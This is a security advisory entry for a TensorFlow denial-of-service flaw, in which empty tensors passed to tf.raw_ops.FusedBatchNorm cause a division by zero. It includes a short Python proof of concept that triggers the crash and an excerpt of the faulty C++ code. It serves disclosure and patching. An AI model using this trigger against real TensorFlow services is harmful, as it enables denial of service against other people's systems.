QID 982494

Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`:

```python
import tensorflow as tf

x = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False

tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean,
variance=variance, epsilon=epsilon,
exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)
```

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297) performs a division based on the last dimension of the `x` tensor:

```cc
const int depth = x.dimension(3);
const int rest_size = size / depth;
```

Since this is controlled by the user, an attacker can trigger a denial of service.